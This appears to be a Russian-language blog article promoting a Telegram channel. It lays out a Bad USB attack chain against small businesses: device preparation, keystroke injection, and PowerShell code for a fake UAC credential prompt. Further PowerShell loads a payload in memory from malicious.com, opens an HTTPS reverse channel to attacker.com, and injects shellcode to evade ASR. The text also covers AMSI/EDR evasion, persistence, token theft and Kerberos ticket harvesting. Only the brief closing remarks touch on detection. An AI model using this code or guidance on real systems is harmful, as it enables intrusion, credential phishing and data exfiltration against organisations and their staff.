Физический вектор атаки через эмуляцию USB HID остаётся жизнеспособным способом первичного проникновения в организации с недостаточной зрелостью процессов безопасности. Малый бизнес сохраняет уязвимость к подобным угрозам вследствие ограниченного контроля устройств, неполного охвата групповых политик и низкого уровня осведомлённости сотрудников.
Хотите разбирать реальные случаи взломов и разбираться в киберугрозах? В своём Telegram-канале https://t.me/scontrols я делюсь историями атак, методами защиты и разбором уязвимостей. Подписывайтесь, если тема безопасности вам интересна.
Подготовка устройства Bad USB включает использование плат на базе микроконтроллеров с поддержкой HID (например, Arduino Pro Micro на ATmega32U4 или Digispark на ATtiny85). Для повышения реалистичности возможна модификация идентификаторов производителя и устройства (VID/PID) через прошивку EEPROM или изменение загрузчика с помощью внешнего программатора. Популярная практика включает эмуляцию моделей известных брендов периферии, чтобы избежать подозрений на этапе подключения.
На уровне прошивки реализуется сценарий автоматического ввода команд. Стандартный набор команд Arduino использует методы Keyboard.press(), Keyboard.print() и Keyboard.releaseAll(), что позволяет симулировать комбинации клавиш, необходимые для вызова окна «Выполнить» и запуска PowerShell в пользовательском контексте. В системах Windows 11 при стандартных настройках UAC выполнение команд от имени администратора без прямого подтверждения невозможно. Поэтому сценарий нацелен на выполнение команд от имени текущего пользователя, без явного повышения привилегий.
Сценарии с попыткой автоматизации нажатий Ctrl+Shift+Enter и Alt+Y для обхода UAC работают крайне нестабильно, поскольку Windows требует подтверждения через ввод учётных данных при наличии активной политики Secure Desktop.
Для повышения вероятности успешного повышения привилегий возможно применение социальной инженерии в виде поддельного окна UAC. Скрипт создаёт имитацию системного диалога, визуально идентичного стандартному UAC, с предложением ввести административные учётные данные. Пример кода на PowerShell для создания поддельного окна:
Add-Type -AssemblyName PresentationFramework $credential = [System.Windows.MessageBox]::Show('Windows needs your permission to continue.', 'User Account Control', 'OKCancel', 'Warning') if ($credential -eq 'OK') { Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "payload"' -Verb RunAs }
Для повышения реалистичности используется создание полноэкранной формы с блокировкой действий пользователя до ввода данных, после чего происходит передача введённой информации на внешний сервер или локальное её использование для немедленного повышения привилегий.
Первоначальный скрипт PowerShell должен быть минималистичным, способным к быстрой инъекции полезной нагрузки без необходимости записи файлов на диск. Для обхода AMSI и EDR предпочтительно использовать прямую загрузку полезной нагрузки в память процесса через Memory Injection.
Загрузка полезной нагрузки из сети реализуется через COM-объект WinHttp:
$webclient = New-Object -ComObject "WinHttp.WinHttpRequest.5.1" $webclient.Open("GET", "https://malicious.com/payload.bin", $false) $webclient.Send() $bytes = $webclient.ResponseBody $assembly = [System.Reflection.Assembly]::Load($bytes) $entryPoint = $assembly.EntryPoint $entryPoint.Invoke($null, @(,$null))
Этот подход позволяет загрузить исполняемый код напрямую в память, минуя файловую систему, что снижает вероятность обнаружения средствами антивирусной защиты и системами мониторинга активности на диске.
Для обратного подключения к системе управления атаками предпочтительно использовать реверсивное соединение через HTTPS-туннелирование. Прямые соединения по нестандартным портам часто блокируются NGFW и системами анализа сетевого трафика. Туннелирование через HTTPS позволяет замаскировать соединение под стандартный веб-трафик.
Создание HTTPS-туннеля может быть реализовано через встроенный в PowerShell модуль System.Net.HttpWebRequest:
$uri = "https://attacker.com/reverse" $request = [System.Net.HttpWebRequest]::Create($uri) $request.Method = "POST" $request.ContentType = "application/octet-stream" $stream = $request.GetRequestStream() while ($true) { $input = Read-Host $bytes = [System.Text.Encoding]::UTF8.GetBytes($input) $stream.Write($bytes, 0, $bytes.Length) $stream.Flush() }
В более продвинутых вариантах атаки создаётся сессионное соединение через WebSocket поверх HTTPS, что значительно усложняет обнаружение на уровне сетевых сигнатур.
Эксфильтрация данных через такие туннели маскируется под обычную активность HTTPS-сессий, что позволяет обойти системы DLP и NGFW, настроенные на анализ приложений по портам. В ряде случаев дополнительно применяется шифрование содержимого сессии на уровне прикладного протокола, чтобы усложнить инспекцию трафика.
Подключение устройства Bad USB пользователем остаётся непредсказуемым этапом атаки. Реальные исследования демонстрируют, что вероятность подключения найденного устройства в корпоративной среде варьируется от 10% до 20%. Этот показатель возрастает при наличии провоцирующих факторов вроде маркировки накопителя корпоративной символикой или намёка на ценную информацию.
Современные системы защиты, включая Microsoft Defender for Endpoint, CrowdStrike Falcon и SentinelOne, активно мониторят поведенческие индикаторы атаки: необычные цепочки процессов, аномальные сетевые активности, взаимодействия PowerShell с COM-объектами. Даже в случае успешного обхода AMSI вероятность обнаружения на этапе эксплуатации остаётся высокой при наличии правильно настроенных политик и оперативной облачной аналитики.
Техники Post-Exploitation в рамках Bad USB-атак в 2025 году опираются на быстрый переход к боковому перемещению и сбору ключевых артефактов, минимизируя шум в сети. Используются подходы инъекции шеллов в доверенные процессы через API NtCreateThreadEx, эксплуатации служебных интерфейсов COM для выполнения команд от имени системных служб, временного создания задач через Task Scheduler с последующим их удалением для достижения постоянства, захвата токенов привилегированных процессов через DuplicateTokenEx и имплантации в текущую сессию.
Обход защиты на этапе Post-Exploitation требует дополнительного внимания к механизмам Attack Surface Reduction (ASR), встроенным в Microsoft Defender for Endpoint 2025 года. Правила ASR активно блокируют запуск исполняемых файлов через Office-документы, автозагрузку через скрипты и несанкционированные изменения системных настроек. Для их обхода применяется модификация методов доставки полезной нагрузки. Скрипты внедряются через легитимные процессы, например, через taskhostw.exe или wsmprovhost.exe, с последующей загрузкой модулей в память через API VirtualAlloc и NtProtectVirtualMemory.
Пример скрипта обхода ASR с Memory Injection:
$bytes = [System.Convert]::FromBase64String("<payload_base64>") $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($bytes.Length) [System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $ptr, $bytes.Length) $func = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ptr, (New-Object System.Func[IntPtr, Int32])) $func.Invoke($ptr)
На следующем этапе может быть инициирован сбор Kerberos-токенов для последующего горизонтального перемещения по сети. Сбор осуществляется через вызовы методов LsaEnumerateLogonSessions и LsaGetLogonSessionData, позволяя получить действующие токены пользователей без необходимости их перехвата на сетевом уровне.
Обнаружение кейлоггеров и вредоносных агентов в малом бизнесе зависит от уровня зрелости инфраструктуры безопасности. Продвинутые резидентные кейлоггеры, внедрённые через Memory Injection и маскирующиеся под системные службы, могут оставаться незамеченными в течение нескольких суток при отсутствии EDR с поведенческим анализом.
Подведение итогов успешности всей цепочки атаки требует учёта множества факторов. Без строгих политик безопасности вероятность успешного проникновения и сбора информации оценивается на умеренном уровне. При наличии современных средств защиты вероятность успешной эксфильтрации и скрытого присутствия существенно снижается.